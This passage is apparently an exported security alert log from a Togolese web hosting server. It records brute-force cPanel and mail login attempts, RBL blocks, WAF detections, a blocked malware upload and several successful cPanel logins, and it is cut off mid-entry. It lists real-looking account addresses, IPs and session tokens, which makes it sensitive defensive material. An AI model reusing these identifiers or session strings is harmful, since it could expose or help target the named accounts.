[2026-06-07 04:35:10 +0000] info [whostmgrd] 72.76.139.237 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.37.75.252
country_id: 1269750
description:
Jun  7 04:35:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.37.75.252 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [07/Jun/2026:04:38:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843239&pdata=http%253A%252F%252Fsbvdn6.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780807127 HTTP/1.1" 302 0 sbvdn6.mediatopnews.tg "http://sbvdn6.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.89.3
country_id: 2750405
domain: www.zephyr.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.zephyr.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.67.173
country_id: 6252001
domain: www.zephyr.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.zephyr.tg/robots.txt HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun  7 04:40:34 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-07 04:40:36 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:17206: 535 Incorrect authentication data (set_id=support@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 221.206.98.158
country_id: 1814991
description:
2026-06-07 04:43:22 H=([0.0.0.0]) [221.206.98.158]:51701 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun  7 04:45:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-07 04:45:16 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:63680: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.46.148.82
country_id: 2017370
description:
[2026-06-07 04:48:34 +0000] info [whostmgrd] 95.46.148.82 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2001:e68:5423:58b0:ec23:4fd:5660:34e6
country_id: 1733045
domain: crrhuemoa.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38789.crrhuemoa.org||ServerName:crrhuemoa.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eb99cbaa04dcd64d73187523e2a55e3350a356da||Title:0x5c1c1b44||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-06-07 04:51:37 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:33398: 535 Incorrect authentication data (set_id=support@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [07/Jun/2026:04:53:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924251&pdata=http%253A%252F%252Fwellcity.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780807983 HTTP/1.1" 302 0 wellcity.tg "http://wellcity.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun  7 04:55:38 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-07 04:55:40 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:57220: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.71
country_id: 1269750
description:
2026-06-07 04:57:50 dovecot_login authenticator failed for H=([122.187.226.71]) [122.187.226.71]:58746: 535 Incorrect authentication data (set_id=marketing@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-06-07 05:00:10 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:28954: 535 Incorrect authentication data (set_id=marketing@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.127.48.109
country_id: 130758
description:
2026-06-07 05:00:31 H=([5.127.48.109]) [5.127.48.109]:4658 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.108.233.190
country_id: 1835841
description:
Jun  7 05:00:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.108.233.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-06-07 05:00:41 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:40972: 535 Incorrect authentication data (set_id=support@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.99
country_id: 2921044
description:
Jun  7 05:00:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.99
country_id: 2921044
description:
2026-06-07 05:00:55 dovecot_plain authenticator failed for H=tor-exit-99.digitalcourage.de (pajyimkaximiva9xzjfk21) [185.220.101.99]:46355: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.27.82.48
country_id: 1522867
description:
2026-06-07 05:02:07 H=([149.27.82.48]) [149.27.82.48]:32987 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.148.70.60
country_id: 2635167
description:
[2026-06-07 05:03:31 +0000] info [whostmgrd] 78.148.70.60 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.27.82.48
country_id: 1522867
description:
2026-06-07 05:04:04 H=([149.27.82.48]) [149.27.82.48]:2187 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.92.154.117
country_id: 3865483
description:
181.92.154.117 - - [07/Jun/2026:05:04:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208713&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F04%252F28%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780808647 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/04/28/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.1390.1887 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.92.154.117


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.147.236.64
country_id: 1643084
description:
[2026-06-07 05:05:51 +0000] info [whostmgrd] 103.147.236.64 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2026-06-07 05:09:28 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:57302: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.189
country_id: 1814991
description:
Jun  7 05:09:26 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.8
country_id: 798544
description:
Jun  7 05:10:30 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.8 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.184.180.4
country_id: 6252001
description:
[2026-06-07 05:11:22 +0000] info [cpaneld] 73.184.180.4 - pduusmyf "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.99
country_id: 690791
description:
Jun  7 05:13:23 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.99 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 62.133.47.24
country_id: 1522867
description:
62.133.47.24 - - [07/Jun/2026:05:13:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262166&pdata=https%253A%252F%252Fhotel-yabisso.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780809222 HTTP/2.0" 302 0 hotel-yabisso.com "https://hotel-yabisso.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:62.133.47.24


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.245
country_id: 1814991
description:
Jun  7 05:14:32 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-06-07 05:14:34 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:11854: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.254
country_id: 3469034
description:
Jun  7 05:15:10 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.254 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.125.214.120
country_id: 3469034
description:
179.125.214.120 - - [07/Jun/2026:05:18:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392210&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-269695letidm61x.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780809522 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-269695letidm61x.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.125.214.120


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.54.72.141
country_id: 1149361
description:
2026-06-07 05:18:49 H=([149.54.72.139]) [149.54.72.141]:59857 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.93
country_id: 3175395
description:
Jun  7 05:20:23 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.93 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 05:21:33 +0000] info [cpaneld] 185.213.83.243 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 05:21:54 +0000] info [cpaneld] 185.213.83.243 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.243.9.176
country_id: 1643084
description:
[2026-06-07 05:23:25 +0000] info [whostmgrd] 180.243.9.176 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  7 05:27:32 ns5 pure-ftpd[3529858]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.27
country_id: 1512440
description:
2026-06-07 05:27:21 H=([0.0.0.0]) [213.230.92.27]:19153 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.245.23.211
country_id: 2921044
description:
[2026-06-07 05:28:25 +0000] info [whostmgrd] 89.245.23.211 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [07/Jun/2026:05:30:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460615&pdata=http%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810244 HTTP/1.1" 302 0 daula.tg "http://daula.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [07/Jun/2026:05:30:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672643&pdata=http%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810250 HTTP/1.1" 302 0 daula.tg "http://daula.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [07/Jun/2026:05:31:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790297&pdata=http%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810259 HTTP/1.1" 302 0 daula.tg "http://daula.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [07/Jun/2026:05:31:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198279&pdata=http%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810269 HTTP/1.1" 404 561 daula.tg "http://daula.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [07/Jun/2026:05:32:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13005213&pdata=http%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810320 HTTP/1.1" 302 0 daula.tg "http://daula.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.144.6.39
country_id: 6252001
description:
[2026-06-07 05:32:23 +0000] info [whostmgrd] 35.144.6.39 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.23.92.143
country_id: 2635167
description:
[2026-06-07 05:33:27 +0000] info [whostmgrd] 86.23.92.143 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [07/Jun/2026:05:33:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9685398&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810417 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"205.169.39.57" CAPTCHA:"0" PEER:172.70.94.139


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.61.153.106
country_id: 3202326
description:
[2026-06-07 05:35:04 +0000] info [whostmgrd] 176.61.153.106 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.72.3.136
country_id: 1168579
description:
[2026-06-07 05:37:08 +0000] info [whostmgrd] 103.72.3.136 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.141
country_id: 1880251
description:
47.128.96.141 - - [07/Jun/2026:05:38:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881238&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frevision-constitutionnelle-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810686 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/revision-constitutionnelle-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.141


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.61.166
country_id: 1269750
description:
Jun  7 05:40:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.61.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.166
country_id: 1269750
description:
2026-06-07 05:40:30 dovecot_plain authenticator failed for H=(thinfic) [182.95.61.166]:46504: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-06-07 05:42:49 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:36198: 535 Incorrect authentication data (set_id=it@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.66.214.34
country_id: 1269750
description:
Jun  7 05:42:47 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.66.214.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.66.206.19
country_id: 3625428
description:
[2026-06-07 05:41:53 +0000] info [whostmgrd] 38.66.206.19 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [07/Jun/2026:05:42:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776427&pdata=http%253A%252F%252F1l7yem.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810952 HTTP/1.1" 302 0 1l7yem.mediatopnews.tg "http://1l7yem.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.187.61.202
country_id: 6252001
description:
[2026-06-07 05:43:23 +0000] info [whostmgrd] 71.187.61.202 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [07/Jun/2026:05:42:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7326818&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftony-blair-institute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780810977 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/tony-blair-institute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.11.60
country_id: 3469034
description:
Jun  7 05:43:06 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.11.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 07 05:47:31 ns5.netmaster.tg cpanel_fileman_hook[3545672]: 0 BAILOUT malware detected when save 'test123Cp.php' in public_html for user moodlefreenetmas


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.174
country_id: 3017382
description:
[2026-06-07 05:46:55 +0000] info [cpaneld] 5.231.255.174 NEW tqbcalqt:DckeGc2oDymjdBFs address=5.231.255.174,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.122.158.203
country_id: 3865483
description:
[2026-06-07 05:48:19 +0000] info [whostmgrd] 138.122.158.203 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 51.36.175.120
country_id: 102358
description:
51.36.175.120 - - [07/Jun/2026:05:49:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921322&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-31249letidm84xel.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780811344 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-31249letidm84xel.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:51.36.175.120


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.202
country_id: 6252001
description:
Jun  7 05:49:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.202
country_id: 6252001
description:
2026-06-07 05:49:35 dovecot_plain authenticator failed for H=(s8rvqgskhyykh621lc5n3zoxirij7bll) [23.129.64.202]:56249: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.75.215.245
country_id: 1269750
description:
Jun  7 05:48:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.75.215.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-06-07 05:49:00 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:44512: 535 Incorrect authentication data (set_id=office@togosem.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.115
country_id: 2635167
description:
[2026-06-07 05:52:49 +0000] info [cpaneld] 5.230.133.115 NEW ygeaivhj:5RT6dVo0P8IHOq5B address=5.230.133.115,app=cpaneld,creator=ygeaivhj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.74
country_id: 2635167
description:
[2026-06-07 05:53:23 +0000] info [cpaneld] 5.230.153.74 NEW nmvhuvgp:7u_ENONHgOf8CTEI address=5.230.153.74,app=cpaneld,creator=nmvhuvgp,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.177
country_id: 6252001
description:
[2026-06-07 05:52:51 +0000] info [cpaneld] 107.175.5.177 NEW nxpivbcy:CBPNWSpfSXh70Pow address=107.175.5.177,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.212
country_id: 2635167
description:
[2026-06-07 05:52:52 +0000] info [cpaneld] 5.230.133.212 NEW cietg:WGpCCcI0m0STmOzl address=5.230.133.212,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:05-54.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Joining Gift eropolik.blogspot.se hE||Email:sb245032@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.190.248.43
country_id: 3996063
description:
189.190.248.43 - - [07/Jun/2026:05:54:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938389&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-389893letidm8.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780811694 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-389893letidm8.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.190.248.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.49.93.203
country_id: 6252001
description:
2026-06-07 05:56:15 dovecot_plain authenticator failed for H=(pg8w614zmaan1bo0uj8gg) [38.49.93.203]:34348: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
